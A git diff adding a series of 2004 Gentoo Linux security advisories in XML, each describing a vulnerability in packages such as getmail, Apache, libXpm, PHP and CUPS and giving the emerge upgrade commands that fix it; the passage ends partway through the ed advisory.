+  <metadata tag="submitter" timestamp="Tue, 21 Sep 2004 15:51:07 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 22 Sep 2004 17:38:09 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200409-32.xml b/xml/htdocs/security/en/glsa/glsa-200409-32.xml
new file mode 100644
index 00000000..4a7af905
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200409-32.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200409-32">
+  <title>getmail: Filesystem overwrite vulnerability</title>
+  <synopsis>
+    getmail contains a vulnerability that could potentially allow any local
+    user to create or overwrite files in any directory on the system. This flaw
+    can be escalated further and possibly lead to a complete system compromise.
+  </synopsis>
+  <product type="ebuild">getmail</product>
+  <announced>September 23, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>64643</bug>
+  <access>local</access>
+  <affected>
+    <package name="net-mail/getmail" auto="yes" arch="*">
+      <unaffected range="ge">4.2.0</unaffected>
+      <vulnerable range="lt">4.2.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    getmail is a reliable fetchmail replacement that supports Maildir,
+    Mboxrd and external MDA delivery.
+    </p>
+  </background>
+  <description>
+    <p>
+    David Watson discovered a vulnerability in getmail when it is
+    configured to run as root and deliver mail to the maildirs/mbox files
+    of untrusted local users. A malicious local user can then exploit a
+    race condition, or a similar symlink attack, and potentially cause
+    getmail to create or overwrite files in any directory on the system.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An untrusted local user could potentially create or overwrite files in
+    any directory on the system. This vulnerability may also be exploited
+    to have arbitrary commands executed as root.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Do not run getmail as a privileged user; or, in version 4, use an
+    external MDA with explicitly configured user and group privileges.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All getmail users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=net-mail/getmail-4.2.0&quot;
+    # emerge &quot;&gt;=net-mail/getmail-4.2.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.qcc.ca/~charlesc/software/getmail-4/CHANGELOG">getmail ChangeLog</uri>
+    <uri link="http://article.gmane.org/gmane.mail.getmail.user/1430">getmail Mailing List</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0880">CVE-2004-0880</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0881">CVE-2004-0881</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 21 Sep 2004 21:51:14 +0000">
+    lewk
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 21 Sep 2004 21:52:24 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200409-33.xml b/xml/htdocs/security/en/glsa/glsa-200409-33.xml
new file mode 100644
index 00000000..fc9ca4d1
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200409-33.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200409-33">
+  <title>Apache: Exposure of protected directories</title>
+  <synopsis>
+    A bug in the way Apache handles the Satisfy directive can lead to the
+    exposure of protected directories to unauthorized users.
+  </synopsis>
+  <product type="ebuild">net=www/apache</product>
+  <announced>September 24, 2004</announced>
+  <revised>December 30, 2007: 02</revised>
+  <bug>64804</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-servers/apache" auto="yes" arch="*">
+      <unaffected range="ge">2.0.51-r1</unaffected>
+      <unaffected range="lt">2.0.51</unaffected>
+      <vulnerable range="eq">2.0.51</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Apache HTTP server is one of most popular web servers on the Internet.
+    </p>
+  </background>
+  <description>
+    <p>
+    A bug in the way Apache handles the Satisfy directive, which is used to
+    require that certain conditions (client host, client authentication, etc)
+    be met before access to a certain directory is granted, could allow the
+    exposure of protected directories to unauthorized clients.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    Directories containing protected data could be exposed to all visitors to
+    the webserver.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Apache users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=www-servers/apache-2.0.51-r1"
+    # emerge ">=www-servers/apache-2.0.51-r1"</code>
+  </resolution>
+  <references>
+    <uri link="http://issues.apache.org/bugzilla/show_bug.cgi?id=31315">Apache Bug #31315</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0811">CAN-2004-0811</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 21 Sep 2004 16:24:09 +0000">
+    dmargoli
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 24 Sep 2004 04:13:15 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200409-34.xml b/xml/htdocs/security/en/glsa/glsa-200409-34.xml
new file mode 100644
index 00000000..fa09ad28
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200409-34.xml
@@ -0,0 +1,98 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200409-34">
+  <title>X.org, XFree86: Integer and stack overflows in libXpm</title>
+  <synopsis>
+    libXpm, the X Pixmap library that is a part of the X Window System,
+    contains multiple stack and integer overflows that may allow a
+    carefully-crafted XPM file to crash applications linked against libXpm,
+    potentially allowing the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">X</product>
+  <announced>September 27, 2004</announced>
+  <revised>May 27, 2006: 02</revised>
+  <bug>64152</bug>
+  <access>remote</access>
+  <affected>
+    <package name="x11-base/xorg-x11" auto="yes" arch="*">
+      <unaffected range="rge">6.7.0-r2</unaffected>
+      <unaffected range="ge">6.8.0-r1</unaffected>
+      <vulnerable range="lt">6.7.0-r2</vulnerable>
+      <vulnerable range="eq">6.8.0</vulnerable>
+    </package>
+    <package name="x11-base/xfree" auto="yes" arch="alpha x86">
+      <unaffected range="ge">4.3.0-r7</unaffected>
+      <vulnerable range="lt">4.3.0-r7</vulnerable>
+    </package>
+    <package name="x11-base/xfree" auto="yes" arch="amd64 hppa ia64 mips ppc sparc">
+      <vulnerable range="lt">4.3.0-r7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    XFree86 and X.org are both implementations of the X Window System.
+    </p>
+  </background>
+  <description>
+    <p>
+    Chris Evans has discovered multiple integer and stack overflow
+    vulnerabilities in the X Pixmap library, libXpm, which is a part of the
+    X Window System. These overflows can be exploited by the execution of a
+    malicious XPM file, which can crash applications that are dependent on
+    libXpm.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A carefully-crafted XPM file could crash applications that are linked
+    against libXpm, potentially allowing the execution of arbitrary code
+    with the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All X.org users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=x11-base/xorg-x11-6.7.0-r2&quot;
+    # emerge &quot;&gt;=x11-base/xorg-x11-6.7.0-r2&quot;</code>
+    <p>
+    All XFree86 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=x11-base/xfree-4.3.0-r7&quot;
+    # emerge &quot;&gt;=x11-base/xfree-4.3.0-r7&quot;</code>
+    <p>
+    Note: Usage of XFree86 is deprecated on the AMD64, HPPA, IA64, MIPS,
+    PPC and SPARC architectures: XFree86 users on those architectures
+    should switch to X.org rather than upgrading XFree86.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://freedesktop.org/pipermail/xorg/2004-September/003196.html">X.org Security Advisory</uri>
+    <uri link="http://freedesktop.org/pipermail/xorg/2004-September/003172.html">X11R6.8.1 Release Notes</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0687">CAN-2004-0687</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0688">CAN-2004-0688</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 18 Sep 2004 17:10:48 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 20 Sep 2004 05:29:54 +0000">
+    lewk
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 26 Sep 2004 20:54:15 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200409-35.xml b/xml/htdocs/security/en/glsa/glsa-200409-35.xml
new file mode 100644
index 00000000..e211aff2
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200409-35.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200409-35">
+  <title>Subversion: Metadata information leak</title>
+  <synopsis>
+    An information leak in mod_authz_svn could allow sensitive metadata of
+    protected areas to be leaked to unauthorized users.
+  </synopsis>
+  <product type="ebuild">Subversion</product>
+  <announced>September 29, 2004</announced>
+  <revised>September 29, 2004: 01</revised>
+  <bug>65085</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-util/subversion" auto="yes" arch="*">
+      <unaffected range="ge">1.0.8</unaffected>
+      <vulnerable range="lt">1.0.8</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Subversion is a versioning system designed to be a replacement for CVS.
+    mod_authz_svn is an Apache module to do path-based authentication for
+    Subversion repositories.
+    </p>
+  </background>
+  <description>
+    <p>
+    There is a bug in mod_authz_svn that causes it to reveal logged metadata
+    regarding commits to protected areas.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    Protected files themselves will not be revealed, but an attacker could use
+    the metadata to reveal the existence of protected areas, such as paths,
+    file versions, and the commit logs from those areas.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Rather than using mod_authz_svn, move protected areas into seperate
+    repositories and use native Apache authentication to make these
+    repositories unreadable.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Subversion users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=dev-util/subversion-1.0.8"
+    # emerge ">=dev-util/subversion-1.0.8"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0749">CAN-2004-0749</uri>
+    <uri link="http://subversion.tigris.org/security/CAN-2004-0749-advisory.txt">Subversion Advisory</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 27 Sep 2004 08:34:50 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 27 Sep 2004 23:33:38 +0000">
+    dmargoli
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 29 Sep 2004 19:12:44 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200410-01.xml b/xml/htdocs/security/en/glsa/glsa-200410-01.xml
new file mode 100644
index 00000000..594b2fca
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200410-01.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200410-01">
+  <title>sharutils: Buffer overflows in shar.c and unshar.c</title>
+  <synopsis>
+    sharutils contains two buffer overflow vulnerabilities that could lead to
+    arbitrary code execution.
+  </synopsis>
+  <product type="ebuild">sharutils</product>
+  <announced>October 01, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>65773</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-arch/sharutils" auto="yes" arch="*">
+      <unaffected range="ge">4.2.1-r10</unaffected>
+      <vulnerable range="le">4.2.1-r9</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    sharutils contains utilities to manage shell archives.
+    </p>
+  </background>
+  <description>
+    <p>
+    sharutils contains two buffer overflows. Ulf Harnhammar discovered a
+    buffer overflow in shar.c, where the length of data returned by the wc
+    command is not checked. Florian Schilhabel discovered another buffer
+    overflow in unshar.c.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could exploit these vulnerabilities to execute arbitrary
+    code as the user running one of the sharutils programs.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All sharutils users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=app-arch/sharutils-4.2.1-r10&quot;
+    # emerge &quot;&gt;=app-arch/sharutils-4.2.1-r10&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=265904">Debian Bug #265904</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1773">CVE-2004-1773</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 30 Sep 2004 04:54:59 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 30 Sep 2004 18:01:09 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri,  1 Oct 2004 08:08:15 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200410-02.xml b/xml/htdocs/security/en/glsa/glsa-200410-02.xml
new file mode 100644
index 00000000..d5f185c4
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200410-02.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200410-02">
+  <title>Netpbm: Multiple temporary file issues</title>
+  <synopsis>
+    Utilities included in old Netpbm versions are vulnerable to multiple
+    temporary files issues, potentially allowing a local attacker to overwrite
+    files with the rights of the user running the utility.
+  </synopsis>
+  <product type="ebuild">Netpbm</product>
+  <announced>October 04, 2004</announced>
+  <revised>October 04, 2004: 01</revised>
+  <bug>65647</bug>
+  <access>local</access>
+  <affected>
+    <package name="media-libs/netpbm" auto="yes" arch="*">
+      <unaffected range="ge">10.0</unaffected>
+      <vulnerable range="le">9.12-r4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Netpbm is a toolkit containing more than 200 separate utilities for
+    manipulation and conversion of graphic images.
+    </p>
+  </background>
+  <description>
+    <p>
+    Utilities contained in the Netpbm package prior to the 9.25 version contain
+    defects in temporary file handling. They create temporary files with
+    predictable names without checking first that the target file doesn't
+    already exist.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could create symbolic links in the temporary files
+    directory, pointing to a valid file somewhere on the filesystem. When a
+    user or a tool calls one of the affected utilities, this would result in
+    file overwriting with the rights of the user running the utility.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Netpbm users should upgrade to an unaffected version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=media-libs/netpbm-10.0"
+    # emerge ">=media-libs/netpbm-10.0"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0924">CVE-2003-0924</uri>
+    <uri link="http://www.kb.cert.org/vuls/id/487102">US-CERT VU#487102</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat,  2 Oct 2004 00:18:31 +0000">
+    lewk
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun,  3 Oct 2004 10:07:45 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun,  3 Oct 2004 13:46:27 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200410-03.xml b/xml/htdocs/security/en/glsa/glsa-200410-03.xml
new file mode 100644
index 00000000..2ccace36
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200410-03.xml
@@ -0,0 +1,76 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200410-03">
+  <title>NetKit-telnetd: buffer overflows in telnet and telnetd</title>
+  <synopsis>
+    Buffer overflows exist in the telnet client and daemon provided by
+    netkit-telnetd, which could possibly allow a remote attacker to gain root
+    privileges and compromise the system.
+  </synopsis>
+  <product type="ebuild">netkit-telnetd</product>
+  <announced>October 05, 2004</announced>
+  <revised>October 05, 2004: 01</revised>
+  <bug>64632</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/netkit-telnetd" auto="yes" arch="*">
+      <unaffected range="ge">0.17-r4</unaffected>
+      <vulnerable range="le">0.17-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    NetKit-telnetd is a standard Linux telnet client and server from the NetKit
+    utilities.
+    </p>
+  </background>
+  <description>
+    <p>
+    A possible buffer overflow exists in the parsing of option strings by the
+    telnet daemon, where proper bounds checking is not applied when writing to
+    a buffer. Additionaly, another possible buffer overflow has been found by
+    Josh Martin in the handling of the environment variable HOME.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker sending a specially-crafted options string to the telnet
+    daemon could be able to run arbitrary code with the privileges of the user
+    running the telnet daemon, usually root. Furthermore, an attacker could
+    make use of an overlong HOME variable to cause a buffer overflow in the
+    telnet client, potentially leading to the local execution of arbitrary
+    code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All NetKit-telnetd users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=net-misc/netkit-telnetd-0.17-r4"
+    # emerge ">=net-misc/netkit-telnetd-0.17-r4"</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0554">CVE-2001-0554</uri>
+    <uri link="http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=264846">Debian Bug #264846</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon,  4 Oct 2004 14:59:18 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon,  4 Oct 2004 16:13:52 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue,  5 Oct 2004 14:10:00 +0000">
+    vorlon078
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200410-04.xml b/xml/htdocs/security/en/glsa/glsa-200410-04.xml
new file mode 100644
index 00000000..b3f504e3
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200410-04.xml
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200410-04">
+  <title>PHP: Memory disclosure and arbitrary location file upload</title>
+  <synopsis>
+    Two bugs in PHP may allow the disclosure of portions of memory and allow
+    remote attackers to upload files to arbitrary locations.
+  </synopsis>
+  <product type="ebuild">PHP</product>
+  <announced>October 06, 2004</announced>
+  <revised>October 06, 2004: 01</revised>
+  <bug>64223</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-php/php" auto="yes" arch="*">
+      <unaffected range="ge">4.3.9 </unaffected>
+      <vulnerable range="lt">4.3.9</vulnerable>
+    </package>
+    <package name="dev-php/mod_php" auto="yes" arch="*">
+      <unaffected range="ge">4.3.9</unaffected>
+      <vulnerable range="lt">4.3.9</vulnerable>
+    </package>
+    <package name="dev-php/php-cgi" auto="yes" arch="*">
+      <unaffected range="ge">4.3.9</unaffected>
+      <vulnerable range="lt">4.3.9</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PHP is a general-purpose scripting language widely used to develop
+    web-based applications. It can run inside a web server using the mod_php
+    module or the CGI version of PHP, or can run stand-alone in a CLI.
+    </p>
+  </background>
+  <description>
+    <p>
+    Stefano Di Paola discovered two bugs in PHP. The first is a parse error in
+    php_variables.c that could allow a remote attacker to view the contents of
+    the target machine's memory. Additionally, an array processing error in the
+    SAPI_POST_HANDLER_FUNC() function inside rfc1867.c could lead to the
+    $_FILES array being overwritten.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit the first vulnerability to view memory
+    contents. On a server with a script that provides file uploads, an attacker
+    could exploit the second vulnerability to upload files to an arbitrary
+    location. On systems where the HTTP server is allowed to write in a
+    HTTP-accessible location, this could lead to remote execution of arbitrary
+    commands with the rights of the HTTP server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PHP, mod_php and php-cgi users should upgrade to the latest stable
+    version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=dev-php/php-4.3.9"
+    # emerge ">=dev-php/php-4.3.9"
+
+    # emerge -pv ">=dev-php/mod_php-4.3.9"
+    # emerge ">=dev-php/mod_php-4.3.9"
+
+    # emerge -pv ">=dev-php/php-cgi-4.3.9"
+    # emerge ">=dev-php/php-cgi-4.3.9"</code>
+  </resolution>
+  <references>
+    <uri link="http://secunia.com/advisories/12560/">Secunia Advisory</uri>
+    <uri link="http://www.securityfocus.com/archive/1/375294">BugTraq post regarding the php_variables.c issue</uri>
+    <uri link="http://www.securityfocus.com/archive/1/375370">BugTraq post regarding the rfc1867.c issue</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 29 Sep 2004 20:40:17 +0000">
+    dmargoli
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 30 Sep 2004 20:25:12 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun,  3 Oct 2004 18:04:56 +0000">
+    dmargoli
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200410-05.xml b/xml/htdocs/security/en/glsa/glsa-200410-05.xml
new file mode 100644
index 00000000..8c119f80
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200410-05.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200410-05">
+  <title>Cyrus-SASL: Buffer overflow and SASL_PATH vulnerabilities</title>
+  <synopsis>
+    Cyrus-SASL contains two vulnerabilities that might allow an attacker to
+    completely compromise the vulnerable system.
+  </synopsis>
+  <product type="ebuild">Cyrus-SASL</product>
+  <announced>October 07, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>56016</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-libs/cyrus-sasl" auto="yes" arch="*">
+      <unaffected range="ge">2.1.18-r2</unaffected>
+      <vulnerable range="le">2.1.18-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Cyrus-SASL is an implementation of the Simple Authentication and
+    Security Layer.
+    </p>
+  </background>
+  <description>
+    <p>
+    Cyrus-SASL contains a remote buffer overflow in the digestmda5.c file.
+    Additionally, under certain conditions it is possible for a local user
+    to exploit a vulnerability in the way the SASL_PATH environment
+    variable is honored (CAN-2004-0884).
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker might be able to execute arbitrary code with the Effective
+    ID of the application calling the Cyrus-SASL libraries.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Cyrus-SASL users should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=dev-libs/cyrus-sasl-2.1.18-r2&quot;
+    # emerge &quot;&gt;=dev-libs/cyrus-sasl-2.1.18-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0884">CAN-2004-0884</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0373">CVE-2005-0373</uri>
+  </references>
+  <metadata tag="submitter">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat,  2 Oct 2004 04:16:09 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200410-06.xml b/xml/htdocs/security/en/glsa/glsa-200410-06.xml
new file mode 100644
index 00000000..5d05ccda
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200410-06.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200410-06">
+  <title>CUPS: Leakage of sensitive information</title>
+  <synopsis>
+    CUPS leaks information about user names and passwords when using remote
+    printing to SMB-shared printers which require authentication.
+  </synopsis>
+  <product type="ebuild">cups</product>
+  <announced>October 09, 2004</announced>
+  <revised>October 09, 2004: 01</revised>
+  <bug>66501</bug>
+  <access>local</access>
+  <affected>
+    <package name="net-print/cups" auto="yes" arch="*">
+      <unaffected range="rge">1.1.20-r3</unaffected>
+      <unaffected range="ge">1.1.21-r1</unaffected>
+      <vulnerable range="le">1.1.20-r2</vulnerable>
+      <vulnerable range="eq">1.1.21</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Common UNIX Printing System (CUPS) is a cross-platform print spooler.
+    </p>
+  </background>
+  <description>
+    <p>
+    When printing to a SMB-shared printer requiring authentication, CUPS leaks
+    the user name and password to a logfile.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local user could gain knowledge of sensitive authentication data.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All CUPS users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=net-print/cups-1.1.20-r3"
+    # emerge ">=net-print/cups-1.1.20-r3"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0923">CAN-2004-0923</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Fri,  8 Oct 2004 18:27:07 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri,  8 Oct 2004 21:07:38 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200410-07.xml b/xml/htdocs/security/en/glsa/glsa-200410-07.xml
new file mode 100644
index 00000000..78192739
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200410-07.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200410-07">
+  <title>ed: Insecure temporary file handling</title>
+  <synopsis>
+    The ed utility is vulnerable to symlink attacks, potentially allowing a
+    local user to overwrite or change rights on arbitrary files with the rights
+    of the user running ed, which could be the root user.
+  </synopsis>
+  <product type="ebuild">ed</product>
+  <announced>October 09, 2004</announced>
+  <revised>October 09, 2004: 01</revised>
+  <bug>66400</bug>
+  <access>local</access>
+  <affected>
+    <package name="sys-apps/ed" auto="yes" arch="*">
+      <unaffected range="ge">0.2-r4</unaffected>
+      <vulnerable range="le">0.2-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
